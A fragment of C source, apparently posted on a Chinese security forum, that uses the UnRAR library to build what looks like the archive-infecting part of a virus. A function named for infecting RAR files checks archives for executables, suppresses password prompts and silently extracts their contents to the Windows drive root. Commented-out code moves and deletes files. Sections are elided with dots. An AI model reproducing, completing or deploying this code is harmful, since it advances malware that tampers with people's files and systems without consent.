int CALLBACK CallbackProc(UINT msg,LPARAM UserData,LPARAM P1,LPARAM P2)
{
switch(msg)
{
case UCM_CHANGEVOLUME:
if (P2==RAR_VOL_ASK)
{
return(0);
printf("\n\nVolume %s is required\nPossible options:\n",(char *)P1);
printf("\nEnter - try again");
printf("\n'R' - specify a new volume name");
printf("\n'Q' - quit");
printf("\nEnter your choice: ");
switch(toupper(getchar()))
{
case 'Q':
return(-1);
case 'R':
{
char *eol;
printf("\nEnter new name: ");
fflush(stdin);
fgets((char *)P1,MAX_PATH,stdin);
eol=strpbrk((char *)P1,"\r\n");
if (eol!=NULL)
*eol=0;
}
return(0);
default:
return(0);
}
}
if (P2==RAR_VOL_NOTIFY)
printf("\n ... volume %s\n",(char *)P1);
return(0);
case UCM_PROCESSDATA:
if (UserData!=0 && *(int *)UserData==PRINT)
{
fflush(stdout);
fwrite((char *)P1,1,P2,stdout);
fflush(stdout);
}
return(0);
case UCM_NEEDPASSWORD:
IfHavePassword = 1;
//MessageBox(NULL,"输入密码",NULL,MB_OK);
return(0);
printf("\nPassword required: ");
gets((char *)P1);
return(0);
}
return(0);
}
void OutProcessFileError(int Error)
{
switch(Error)
{
case ERAR_UNKNOWN_FORMAT:
printf("Unknown archive format");
break;
case ERAR_BAD_ARCHIVE:
printf("Bad volume");
break;
case ERAR_ECREATE:
printf("File create error");
break;
case ERAR_EOPEN:
printf("Volume open error");
break;
case ERAR_ECLOSE:
printf("File close error");
break;
case ERAR_EREAD:
printf("Read error");
break;
case ERAR_EWRITE:
printf("Write error");
break;
case ERAR_BAD_DATA:
printf("CRC error");
break;
case ERAR_UNKNOWN:
printf("Unknown error");
break;
case ERAR_MISSING_PASSWORD:
printf("Password for encrypted file is not specified");
break;
}
}
int ExtractArchive(char *ArcName,int Mode)
{
HANDLE hfileA;
if (Mode == TEST)
{
hfileA =CreateFile(
ArcName,
GENERIC_READ,
FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hfileA == INVALID_HANDLE_VALUE)
{
//MessageBox(NULL,"文件大小不符合要求",NULL,MB_OK);
CloseHandle(hfileA);
return 0;
}
DWORD high;
DWORD len = GetFileSize(hfileA,&high);
if(!((high == NULL)&& (len!= INVALID_FILE_SIZE)))
{
CloseHandle(hfileA);
//MessageBox(NULL,"文件大小不符合要求",NULL,MB_OK);
return 0;
}
else
{
if(len < 1024*1024*rarmarginal)
goto NextBB;
else
{
//MessageBox(NULL,"文件大小不符合要求",NULL,MB_OK);
CloseHandle(hfileA);
return 0;
}
}
}
..........
}
int RAR(char* infectrar)
{
int res = ExtractArchive(infectrar,TEST);
if (res == 1)
{
//MessageBox(NULL,"该压缩文件含有exe文件",NULL,MB_OK);
if(FileArrayNum < 128)
{
/*ExtractArchive(infectrar,EXTRACT);
for(int i = 0;i<FileArrayNum;i++)
{
char completepath[1100];
strcpy(completepath,MyOwnPath);
strcat(completepath,"\\");
strcat(completepath,FileArray);
//MessageBox(NULL,completepath,NULL,MB_OK);
char tempdir[1100];
strcpy(tempdir,WindowsDir);
strcpy(strstr(tempdir,"\\")+1,"\0");
//CreateDirectory(tempdir,NULL);
strcat(tempdir,FileArray);
//MessageBox(NULL,completepath,tempdir,MB_OK);
MoveFile(completepath,tempdir);
//MessageBox(NULL,completepath,"要删除的目录或文件 1",MB_OK);
if(IfPathIsFile(completepath))
DeletedirSon(completepath);
else
{
SetNOReadOnlyAttribute( completepath );
DeleteFile(completepath);
}
}*/
char ddss[128];
strcpy(ddss,WindowsDir);
strcpy(strstr(ddss,"\\")+1,"\0");
char tempaaa[MAX_PATH];
GetCurrentDirectory(MAX_PATH,tempaaa);
SetCurrentDirectory(ddss);
ExtractArchive(infectrar,EXTRACT);
SetCurrentDirectory(tempaaa);
..........
}
| 欢迎光临 小七技术论坛,计算机安全和杀毒软件,编程交流于软件安全技术交流,给新手一个绿色安全的论坛 (https://xqmsyk.com/) | Powered by Discuz! X3.3 |